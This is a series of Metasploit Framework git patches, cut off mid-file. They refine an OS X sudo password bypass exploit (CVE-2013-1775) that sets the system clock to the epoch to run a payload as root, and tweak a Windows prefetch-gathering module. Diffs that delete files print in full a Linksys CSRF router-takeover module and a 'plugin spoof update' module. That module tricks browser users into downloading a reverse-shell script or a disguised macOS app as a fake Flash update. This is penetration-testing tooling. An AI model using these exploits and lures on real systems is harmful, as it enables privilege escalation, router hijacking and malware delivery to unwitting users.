+101,9 @@ def run error_msg = "You don't have enough privileges. Try getsystem." if sysnfo =~/(Windows XP|2003|.NET)/ + # For some reason we need system privileges to read file + # mace time on XP/2003 while we can do the same only + # as admin on Win7. if not is_system? print_error(error_msg) return nil @@ -131,7 +112,6 @@ def run print_good("Detected #{sysnfo} (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C - lastrun_offset = 0x78 runcount_offset = 0x90 # Registry key for timezone key_value = "StandardName" @@ -145,7 +125,6 @@ def run print_good("Detected #{sysnfo} (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C - lastrun_offset = 0x80 runcount_offset = 0x98 # Registry key for timezone key_value = "TimeZoneKeyName" @@ -169,25 +148,25 @@ def run prefetch_key_value timezone_key_values(key_value) print_good("Current UTC Time: %s" % Time.now.utc) - sysroot = client.fs.file.expand_path("%SYSTEMROOT%") - full_path = sysroot + "\\Prefetch\\" + sys_root = expand_path("%SYSTEMROOT%") + full_path = sys_root + "\\Prefetch\\" file_type = "*.pf" print_status("Gathering information from remote system. This will take awhile..") # Goes through the files in Prefetch directory, creates file paths for the - # gather_prefetch_info function that enumerates all the pf info + # gather_pf_info function that enumerates all the pf info getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,timeout=-1) if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil? - print_error("Could not find/access any .pf files. Can't continue.") + print_error("Could not find/access any .pf files. Can't continue. (Might be temporary error..)") return nil else getfile_prefetch_filenames.each do |file| if file.empty? or file.nil? - print_error("Could not open file: %s" % filename) + print_error("Could not open file: %s" % file) else filename = File.join(file['path'], file['name']) - gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) + gather_pf_info(name_offset, hash_offset, runcount_offset, filename, table) end end end From 3ce23ffb49cd30f944e85ac493c28198e8cbad98 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 11:20:47 -0500 Subject: [PATCH 352/454] Make a test before running the payload --- .../osx/local/sudo_password_bypass.rb | 39 +++++++++++++------ 1 file changed, 27 insertions(+), 12 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 47d4b5382f50b..e7468097bd731 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -160,6 +160,31 @@ def on_new_session(session) private def run_sudo_cmd + + print_status("Resetting user's time stamp file and setting clock to the epoch") + cmd_exec( + "sudo -k; \n"+ + "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ + " -setdate 01:01:1970 -settime 00:00" + ) + + # Run Test + test = rand_text_alpha(4 + rand(4)) + sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ') + + print_status("Executing test...") + output = cmd_exec('echo "" | ' + sudo_cmd_test) + + if output =~ /incorrect password attempts\s*$/i + fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.") + elsif output =~ /#{test}/ + print_good("Test executed succesfully. Running payload.") + else + print_error("Unknown fail while testing, trying to execute the payload anyway...") + end + + + # Run Payload sudo_cmd_raw = if using_native_target? ['sudo', '-S', [drop_path].shelljoin].join(' ') elsif using_cmd_target? @@ -167,23 +192,13 @@ def run_sudo_cmd end ## to prevent the password prompt from destroying session + ## backgrounding the sudo payload in order to keep both sessions usable sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' - print_status("Resetting user's time stamp file and setting clock to the epoch") - cmd_exec( - "sudo -k; \n"+ - "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ - " -setdate 01:01:1970 -settime 00:00" - ) - print_status "Running command: " print_line sudo_cmd output = cmd_exec(sudo_cmd) - if output =~ /incorrect password attempts\s*$/i - fail_with(Exploit::Failure::NotFound, - "User has never run sudo, and is therefore not vulnerable. Bailing.") - end - #print_good output + end # cmd_exec doesn't allow to get a session, so there is no way to make the cleanup From 2ebfdcc84bb204b6550f0364a7a61afee5d5734d Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sat, 24 Aug 2013 19:32:01 +0300 Subject: [PATCH 353/454] Fix to description --- modules/post/windows/gather/enum_prefetch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index e325399972852..e14b780ec64f3 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -20,7 +20,7 @@ def initialize(info={}) 'Description' => %q{ This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems. File offset reads for run count, hash and filename are collected from each prefetch file - using WinAPI through Railgun while Last Modified and Create times are file MACE values. + while Last Modified and Create times are file MACE values. }, 'License' => MSF_LICENSE, 'Author' => ['TJ Glad '], From b13d3570009ac1ae03da619ed13c72c8d470734e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 11:35:35 -0500 Subject: [PATCH 354/454] Add ranking --- modules/exploits/osx/local/sudo_password_bypass.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index e7468097bd731..c1ec3f3b6f5f8 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -8,6 +8,12 @@ require 'shellwords' class Metasploit3 < Msf::Exploit::Local + + # ManualRanking because it's going to modify system time + # Even when it will try to restore things, user should use + # it at his own risk + Rank = NormalRanking + include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE From 0e116730a1d677835e49b9b0575e4a69b994e0b9 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 24 Aug 2013 12:00:40 -0500 Subject: [PATCH 355/454] Polishing module. Tested on 10.8, 10.8.2, and 10.8.4. --- modules/exploits/osx/local/sudo_password_bypass.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index c1ec3f3b6f5f8..53708671a5044 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -166,7 +166,6 @@ def on_new_session(session) private def run_sudo_cmd - print_status("Resetting user's time stamp file and setting clock to the epoch") cmd_exec( "sudo -k; \n"+ @@ -178,7 +177,7 @@ def run_sudo_cmd test = rand_text_alpha(4 + rand(4)) sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ') - print_status("Executing test...") + print_status("Testing that user has sudoed before...") output = cmd_exec('echo "" | ' + sudo_cmd_test) if output =~ /incorrect password attempts\s*$/i @@ -189,7 +188,6 @@ def run_sudo_cmd print_error("Unknown fail while testing, trying to execute the payload anyway...") end - # Run Payload sudo_cmd_raw = if using_native_target? ['sudo', '-S', [drop_path].shelljoin].join(' ') From b4ad8c8867d43e4964c18b465a233c9b52fc812e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 12:08:38 -0500 Subject: [PATCH 356/454] Beautify module --- .../osx/local/sudo_password_bypass.rb | 54 ++++++++----------- 1 file changed, 21 insertions(+), 33 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 53708671a5044..7ae00f1758bc9 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -116,41 +116,29 @@ def check def exploit if not user_in_admin_group? fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.") - else - # "remember" the current system time/date/network/zone - print_good("User is an admin, continuing...") - - # drop the payload (unless CMD) - if using_native_target? - cmd_exec("mkdir -p #{File.dirname(drop_path)}") - write_file(drop_path, generate_payload_exe) - register_files_for_cleanup(drop_path) - cmd_exec("chmod +x #{[drop_path].shelljoin}") - print_status("Payload dropped and registered for cleanup") - end - - print_status("Saving system clock config...") - @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] - @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] - @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) - @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] - @network_server = if @networked - cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] - end - - print_warning("Cleanup to be done in case something goes really bad") - print_warning("Execute: #{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") - print_warning("Execute: #{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") - print_warning("Execute: #{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") - if @networked - print_warning("Execute: #{SYSTEMSETUP_PATH} -setusingnetworktime On") - if @network_server - print_warning("Execute: #{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") - end - end + end + # "remember" the current system time/date/network/zone + print_good("User is an admin, continuing...") + + # drop the payload (unless CMD) + if using_native_target? + cmd_exec("mkdir -p #{File.dirname(drop_path)}") + write_file(drop_path, generate_payload_exe) + register_files_for_cleanup(drop_path) + cmd_exec("chmod +x #{[drop_path].shelljoin}") + print_status("Payload dropped and registered for cleanup") + end - run_sudo_cmd + print_status("Saving system clock config...") + @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] + @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] + @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) + @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] + @network_server = if @networked + cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] end + + run_sudo_cmd end def cleanup From 5b812b0c225ad9733ee1e53bf3bac98b7de5afc0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 12:12:21 -0500 Subject: [PATCH 357/454] Add references --- modules/exploits/osx/local/sudo_password_bypass.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 7ae00f1758bc9..a2b330aa481df 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -50,8 +50,10 @@ def initialize(info={}) ], 'References' => [ - ['CVE', '2013-1775'], - ['OSVDB', '90677'] + [ 'CVE', '2013-1775' ], + [ 'OSVDB', '90677' ], + [ 'BID', '58203' ], + [ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ] ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ], From 29320f5b7f1433c4bb2d804f4eb83a11bc9a7d97 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 24 Aug 2013 13:07:35 -0500 Subject: [PATCH 358/454] Fix vn refs. Add juan as an @author. --- modules/exploits/osx/local/sudo_password_bypass.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index a2b330aa481df..9557793f0c764 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -28,10 +28,10 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, - 'Name' => 'Mac OS 10.8-10.8.4 Sudo Password Bypass', + 'Name' => 'Mac OS X Sudo Password Bypass', 'Description' => %q{ Gains a session with root permissions on versions of OS X with - sudo binary vulnerable to CVE-2013-1775. Works on Mac OS 10.8-10.8.4, + sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4, and possibly lower versions. If your session belongs to a user with Administrative Privileges @@ -46,7 +46,8 @@ def initialize(info={}) 'Author' => [ 'Todd C. Miller', # Vulnerability discovery - 'joev ' # Metasploit module + 'joev ', # Metasploit module + 'juan vazquez' # testing/fixing module bugs ], 'References' => [ From 757886bece2864683eb51882cead70863b76f854 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 24 Aug 2013 14:52:52 -0500 Subject: [PATCH 359/454] Remove some extra wip files. --- .../linksys_phish_password_change_csrf.rb | 276 -------- .../http/linksys_wrt120n_firmware_upload.rb | 0 .../multi/browser/plugin_spoof_update.rb | 597 ------------------ .../singles/cmd/unix/reverse_js_ssl.rb | 67 -- 4 files changed, 940 deletions(-) delete mode 100644 modules/auxiliary/admin/http/linksys_phish_password_change_csrf.rb delete mode 100644 modules/exploits/linux/http/linksys_wrt120n_firmware_upload.rb delete mode 100644 modules/exploits/multi/browser/plugin_spoof_update.rb delete mode 100644 modules/payloads/singles/cmd/unix/reverse_js_ssl.rb diff --git a/modules/auxiliary/admin/http/linksys_phish_password_change_csrf.rb b/modules/auxiliary/admin/http/linksys_phish_password_change_csrf.rb deleted file mode 100644 index d0fc7fcfe8e7d..0000000000000 --- a/modules/auxiliary/admin/http/linksys_phish_password_change_csrf.rb +++ /dev/null @@ -1,276 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - # Rank = ExcellentRanking - # include Msf::Exploit::Remote::HttpServer::HTML - - # TARGET_AUTO = 0 - # TARGET_EA = 1 - # TARGET_WRT = 2 - - # def initialize(info = {}) - # super(update_info(info, - # 'Name' => 'Linksys Password Change CSRF Vulnerability', - # 'Description' => %q{ - # Many versions of the Linksys admin interface suffer from a CSRF vulnerability. - # If you can coerce (e.g. by phishing) a currently logged-in admin to browse - # to the page served by this module, a password-change request will be sent from - # the admin's browser to the router. By default, the request will also enable remote - # management so that it is externally accessible. On some routers (e.g. the WRT160Nv2), - # a code exec exploit will be run (from the running Metasploit instance) after - # updating the password. - - # Fails silently if the remote user is not logged in. - - # Works on the following routers/firmware versions: - # - Linksys EA2700 1.0.14 - # - Linksys E4200 2.0.36 - # - Linksys EA3500 1.0.30 - # - Linksys EA4500 2.0.36 - # - Linksys WRT120N 1.0.07 - # - Linksys WRT160Nv2 2.0.03 - # }, - # 'Author' => [ 'Kyle Lovett', # discovery - # 'joev ' ], # msf module - # # WRT120N discovery - # 'License' => MSF_LICENSE, - # 'References' => - # [ - # [ 'URL', 'https://superevr.com/blog/wp-content/uploads/2013/04/linksys_vulns.txt' ], - # [ 'OSVDB', '94768' ] - # ], - # 'DisclosureDate' => 'Apr 7 2013', - # 'Targets' => [ - # [ 'Linksys EA2700/E4200/EA3500/EA4500', { - # 'ROUTER_IP' => '192.168.1.1', - # 'FORM_ENDPOINT' => '/apply.cgi', - # 'PASSWORD_FIELDS' => ['http_passwd', 'http_passwdConfirm'], - # 'FORM_DATA' => - # 'submit_button=Management&change_action=&action=Apply&PasswdModify=1'+ - # '&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4'+ - # '&_http_enable=1&web_wl_filter=0&remote_management=1&_remote_mgt_https=1'+ - # '&remote_ip_any=1&http_wanport=8080&nf_alg_sip=0&ctf_enable=1'+ - # '&upnp_enable=1&upnp_config=1&upnp_internet_dis=0' ] - # [ 'Linksys WRT120N', - # 'ROUTER_IP' => '192.168.1.1', - # 'FORM_ENDPOINT' => '/cgi-bin/apply.cgi', - # 'PASSWORD_FIELDS' => ['password', 'defPassword'], - # 'FORM_DATA' => - # 'c_password=admin&r_web_http=1&r_web_https=1&r_web_wleb=1'+ - # '&remote_adm=0&r_remote_adm=0&beginip=0.0.0.0&endip=0.0.0.0'+ - # '&upnp=1&r_upnp=1&r_upnp_uset=1&r_upnp_dinetacc=0&wlan=1'+ - # '&reboot=0&exec_cgis=AdmM&ret_url=%2Findex.stm%3Ftitle%3D'+ - # 'Administration-Management&delay=0&change_pass=1' ] - # [ 'Linksys WRT160Nv2', - # 'ROUTER_IP' => '192.168.1.1', - # 'FORM_ENDPOINT' => '/apply.cgi', - # 'PASSWORD_FIELDS' => ['password', 'defPassword'], - # 'EXPLOIT' => 'exploits/linux/http/linksys_wrt160nv2_apply_exec', - # 'FORM_DATA' => - # 'c_password=admin&r_web_http=1&r_web_https=1&r_web_wleb=1'+ - # '&remote_adm=0&r_remote_adm=0&beginip=0.0.0.0&endip=0.0.0.0'+ - # '&upnp=1&r_upnp=1&r_upnp_uset=1&r_upnp_dinetacc=0&wlan=1'+ - # '&reboot=0&exec_cgis=AdmM&ret_url=%2Findex.stm%3Ftitle%3D'+ - # 'Administration-Management&delay=0&change_pass=1' ], - - # ] - # ], - # 'DefaultTarget' => 0 - # )) - - # register_options([ - # Opt::RPORT(80), - # OptAddress.new('RHOST', [false, 'If known, LAN IP address of the router', '192.168.1.1']), - # OptString.new('PASSWORD', [false, 'Password to change to', 'password']), - # OptString.new('CUSTOMJS', [false, 'Custom javascript to run on client', '']), - # OptString.new('CONTENT', [false, 'You are being redirected, please wait.', '']), - # OptString.new('DISCOVERRANGE', [false, 'Runs a discovery scan on the range to find & exploit routers']), - # OptBool.new('ROUTERHTTP', [false, 'Access the router over HTTP.', true]), - # OptBool.new('ROUTERHTTPS', [false, 'Access the router over HTTPS.', true]), - # OptBool.new('ENABLE_REMOTE_ADMIN', [false, 'Enable remote router management.', true]), - # OptBool.new('RESTRICT_ADMIN_IP', [false, 'Restrict access to remotely manage router to this IP.', true]), - # OptBool.new('GAIN_SESSION', [false, 'Uses available exploit modules to attempt to gain a shell.', true]) - # ], Msf::Auxiliary) - # end - - # # Called when the client makes a request - # def on_request_uri(cli, request) - # html = if request.uri =~ /inner\.html$/ - # inner_html # send contents of - # - # | - # end - - # # @return [String] HTML+JS source of the inner frame - # def inner_html - # %Q| - # - # - # - # - # - # - # - # | - # end - - # # @return [String] Javascript code for "discovering" routers in a LAN range - # # @return '' if discovery is disabled - # def discovery_js - # range_str = datastore['DISCOVERRANGE'] - # return '' unless range_str.present? - # walker = Rex::Socket::RangeWalker.new(range_str) - # ips = [] - # walker.each { |ip| ips << ip} - # %Q| - # var routers = []; - # var endpoints = #{targets.map { |t| t['FORM_ENDPOINT'] }.to_json}; - # var ips = #{ips.to_json}; - # for (var ip in ips) { - # (function(){ - # #{# Put ourselves in a function so that we can preserve scope - # #{# For each IP in the range, attempt to detect router web interface signature - # var myip = ip; - # var cb = function() { - # while (routers.length > 0) { - # submitForm(routers[0][0]+endpoints[routers[0][1]-1]); - # routers.shift(); - # } - # } - # | + - # if datastore['Target'] == '#{TARGET_WRT}' or datastore['Target'] == '#{TARGET_AUTO}' - # # Run a check to see if a WRT* router exists - # %Q| - # var checkWrt = #{check_wrt}; - # #{ if datastore['ROUTERHTTP'] then "checkWrt('http', myip)" else '' nil } - # #{ if datastore['ROUTERHTTPS'] then "checkWrt('https', myip)" else '' nil } - # | - # else '' end + - # if datastore['Target'] == "#{TARGET_EA}" or datastore['Target'] == '#{TARGET_AUTO}' - # # Run a check to see if a EA* router exists - # %Q| - # var checkEa = #{check_ea}; - # #{ if datastore['ROUTERHTTP'] then "checkEa('http', myip)" else '' nil } - # #{ if datastore['ROUTERHTTPS'] then "checkEa('https', myip)" else '' nil } - # | - # else '' end + - # %Q| - # })(); #{# invoke the function we defined - # } - # | - # end - - # def check_wrt - # %Q| - # function(proto, myip) { - # var script = document.createElement('script'); - # script.type = 'text/javascript'; - # script.src = proto+'://'+myip+'/jslib.js'; - # script.onload = function(){ - # window.setTimeout(function(){ - # if ('isValidMASK' in window) { - # #{# Detected as a WRT120N router. - # routers.push([script.src.replace(/:.*$/, '')+'://'+myip, 1]); - # cb(); - # } - # }, 10); - # }; - # script.onerror = cb; - # document.body.appendChild(script); - # } - # | - # end - - # def check_ea - # %Q| - # function(proto, myip) { - # var script = document.createElement('script'); - # script.type = 'text/javascript'; - # script.src = proto+'://'+myip+'/jslib.js'; - # script.onload = function(){ - # window.setTimeout(function(){ - # if ('isValidMASK' in window) { - # #{# Detected as a WRT120N router. - # routers.push([script.src.replace(/:.*$/, '')+'://'+myip, 2]); - # cb(); - # } - # }, 10); - # }; - # script.onerror = cb; - # document.body.appendChild(script); - # } - # | - # end - - # # @return [String] URL for sending requests back to the module - # def base_url - # proto = (datastore["SSL"] ? "https" : "http") - # myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] - # "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}" - # end -end - diff --git a/modules/exploits/linux/http/linksys_wrt120n_firmware_upload.rb b/modules/exploits/linux/http/linksys_wrt120n_firmware_upload.rb deleted file mode 100644 index e69de29bb2d1d..0000000000000 diff --git a/modules/exploits/multi/browser/plugin_spoof_update.rb b/modules/exploits/multi/browser/plugin_spoof_update.rb deleted file mode 100644 index c806e7e180c6b..0000000000000 --- a/modules/exploits/multi/browser/plugin_spoof_update.rb +++ /dev/null @@ -1,597 +0,0 @@ -## -# This module can be used to "spoof" a download from another site. -## - -## Show "broken plugin" image. Clicking the plugin will navigate the user's browser -## to a legitimate URL from the plugin vendor. Simultaneously, a popunder window will -## be opened that waits for the vendor URL to load. Once the vendor page has loaded, -## the popunder navigates the parent frame to your payload. -# -## From the user's point of view, the plugin download looks legitimate. - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'open-uri' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::EXE - - def initialize(info={}) - super(update_info(info, - 'Name' => "Browser Plugin Download Spoof", - 'Description' => %q{ - This module serves a page that shows a "broken plugin" image. The user - is coerced into clicking on the image in order to download and update - the plugin. When the image is clicked, a popunder window is opened, and - the original window is navigated to the (legitimate) DOWNLOADURL. Once - the page loads, the popunder navigates the top window to the download served - by this module, and immediately closes itself. - - To a user, it will appear that the plugin vendor's (Flash, java) website is - serving them a plugin "update", and they will (hopefully) happily download - and execute our payload. - - Note: the page served by this exploit can be embedded into an iframe for a - more realistic-looking attack vector. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'joev ' ], - 'References' => [['URL', 'http://lcamtuf.coredump.cx/fldl/']], - 'Targets' => - [ - [ 'Generic (Java Payload)', - { - 'Platform' => ['java'], - 'Arch' => ARCH_JAVA - } - ] - ], - 'DefaultTarget' => 0 - )) - - register_options( - [ - OptString.new('PLUGINNAME', [true, 'The name of the plugin.', 'Flash']), - OptString.new('PLUGINURL', [true, 'The URL of the vendor\'s plugin download page.', - 'http://www.adobe.com/support/flashplayer/downloads.html']), - OptInt.new('LOADDELAY', [true, 'Seconds to wait before forcing the download.', 3]), - OptString.new('CLONEURL', [ false, - "If specified, displays the contents of the given URL instead of a Loading... message" - ]) - ], self.class) - end - - - def run - print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...") - exploit - end - - def on_request_uri(cli, request) - if request.uri =~ /(exe|bin|command|sh|zip|autorun|py|pl)$/ - print_status("Sending executable payload.") - mime = if request.headers['User-Agent'] - 'x-content/unix-software' - else - 'application/octet-stream' - end - send_response(cli, dropped_file_contents(cli, request.headers['User-Agent']), - 'Content-Type' => mime) - elsif request.uri =~ /swf$/ - print_status("Sending IE10 a flash .swf to navigate xdomain page.") - send_response(cli, swf_navigate_ie10, 'Content-Type' => 'application/x-shockwave-flash') - else - print_status("Sending HTML of target page.") - send_response_html(cli, generate_html(request.headers['User-Agent']), 'Content-Type' => 'text/html') - end - end - - # @return [String] the encoded executable for dropping onto the client's machine - def dropped_file_contents(cli, agent) - return if ((p=regenerate_payload(cli)) == nil) - opts = if target.present? then target.opts else {} end - - case agent - when /windows/i - opts.merge!(:code => p.encoded) - generate_payload_exe(opts) - when /linux/i - # Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts) - @linux_payload ||= linux_payload(p) - when /os x/i - @osx_payload ||= osx_payload(p) - end - end - - - def linux_payload(p) - # todo: this should kick out a .rpm or .deb file, not a shell script - header = "#!/bin/bash\n\n" - payload = framework.payloads.create('cmd/unix/reverse') - payload.datastore.merge! datastore - header + payload.generate_simple('Format' => 'raw') - end - - def osx_payload(p) - exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, target.opts) - exe_name = Rex::Text.rand_text_alpha(8) - app_name = "App.app" - info_plist = <<-EOS - - - - - CFBundleAllowMixedLocalizations - - CFBundleDevelopmentRegion - English - CFBundleExecutable - #{exe_name} - CFBundleIdentifier - com.#{exe_name}.app - CFBundleInfoDictionaryVersion - 6.0 - CFBundleName - #{exe_name} - CFBundlePackageType - APPL - CFBundleSignature - aplt - - - EOS - - zip = Rex::Zip::Archive.new - zip.add_file("#{app_name}/", '') - zip.add_file("#{app_name}/Contents/", '') - zip.add_file("#{app_name}/Contents/MacOS/", '') - zip.add_file("#{app_name}/Contents/Resources/", '') - zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe) - zip.add_file("#{app_name}/Contents/Info.plist", info_plist) - zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt') - zip.pack - end - - def popunder_js(agent) - %Q| - document.body.innerHTML="Loading..."; - var tt = document.getElementsByTagName("title"); - for (var x = 0; x < tt.length; x++) { tt[x].parentNode.removeChild(tt[x]); } - var t = document.createElement("title"); - document.head.appendChild(t); - t.innerHTML = "Loading..."; - var itval = setInterval(function() { - var done = function() { - clearInterval(itval); - var n = navigator.userAgent; - var chrome = (/chrome/i).test(n); - var safari = (/safari/).test(n) && !(/chrome/).test(n); - var ie10 = /MSIE 1/.test(navigator.userAgent); - var ie9 = /MSIE 9/.test(navigator.userAgent); - var flash = !!navigator.mimeTypes["application/x-shockwave-flash"]; - var timeout = #{datastore['LOADDELAY']}*1000; - if(chrome) timeout += 2000; - if(safari) timeout -= 2000; - setTimeout(function(){ - if (chrome) { - opener.history.go(-1); - window.setTimeout(function(){ - opener.location = "#{plugin_url}"; - window.setTimeout(function(){window.close();}, 300); - }, 1000) - } else if ((ie9 \|\| ie10) && flash) { - window.location = "#{swf_url(agent)}"; - } else { - opener.location = "#{exe_url(agent)}"; - window.setTimeout(function(){window.close();}, 500); - } - }, timeout); - }; - try { - if (!opener.checkSOP) { - done(); - } - } catch (e) { done(); } - }, 10); - |.gsub(/\s+/, ' ').gsub("'", "\\'") # some chars screw up the injection - end - - # provides an HTML interface that "spoofs" the missing plugin image for the user's browser - def generate_html(agent) - if datastore['CLONEURL'].present? - cloned_html(agent) - else - default_html(agent) - end - end - - def default_html(agent) - <<-EOS - - - - - - #{injected_script(agent)} - - - EOS - end - - def cloned_html(agent) - fetch_cloned_content - .sub(/(<\/body>|<\/html>|\Z)/imx, injected_script(agent)+'\1') - end - - def injected_script(agent) - <<-EOS - - EOS - end - - def js_libs - <<-EOS - var browser = (function() { - var n = navigator.userAgent.toLowerCase(); - var b = { - webkit: /webkit/.test(n), - mozilla: (/mozilla/.test(n)) && (!/(compatible|webkit)/.test(n)), - chrome: /chrome/.test(n), - msie: (/msie/.test(n)) && (!/opera/.test(n)), - firefox: /firefox/.test(n), - safari: (/safari/.test(n) && !(/chrome/.test(n))), - opera: /opera/.test(n) - }; - b.version = (b.safari) ? (n.match(/.+(?:ri)[\/: ]([\d.]+)/) || [])[1] : - (n.match(/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/) || [])[1]; - return b; - })(); - - - var spoof_plugins = (function(browser) { - browser = browser || {}; - var spoof_plugins = function(opts) { - var spoof_els = function(els) { - var spoof_count = 0; - var iterate = function(i) { - spoof_count++; - var el = els[i]; - if (el._skip) return; - el._skip = true; - - var div = document.createElement('div'); - var w = el.offsetWidth || 500, h = el.offsetHeight || 500; - if (h < 150) h = 150; - if (w < 150) w = 150; - var p = el.parentNode; - p.replaceChild(div, el); - div.style.display = 'inline-block'; - div.style.width = w+'px'; - div.style.height = h+'px'; - div.style.textAlign = 'center'; - div.style.background = '#f00'; - div.style.cursor = 'pointer'; - div.onclick = opts.onclick; - // browser-specific stuff - if (browser.safari) { - div.style.background = '#eee'; - var style = 'color: #777;font-family:Helvetica;font-size:11px;font-weight:600;text-decoration:none;'+ - 'line-height:'+div.offsetHeight+'px'; - var cstyle = 'color:#eee;background:#777;padding:2px 3px;border-radius:50%;font-size:9px;'+ - 'font-family:Verdana;text-align:center;font-weight:600;'; - div.innerHTML = 'Missing Plug-in. Click here to install '+ - ''; - } - else if (browser.firefox) { - var plugin = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAAAGXRFWHRTb2Z0d2FyZQBBZG'+ - '9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ'+ - '2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlI'+ - 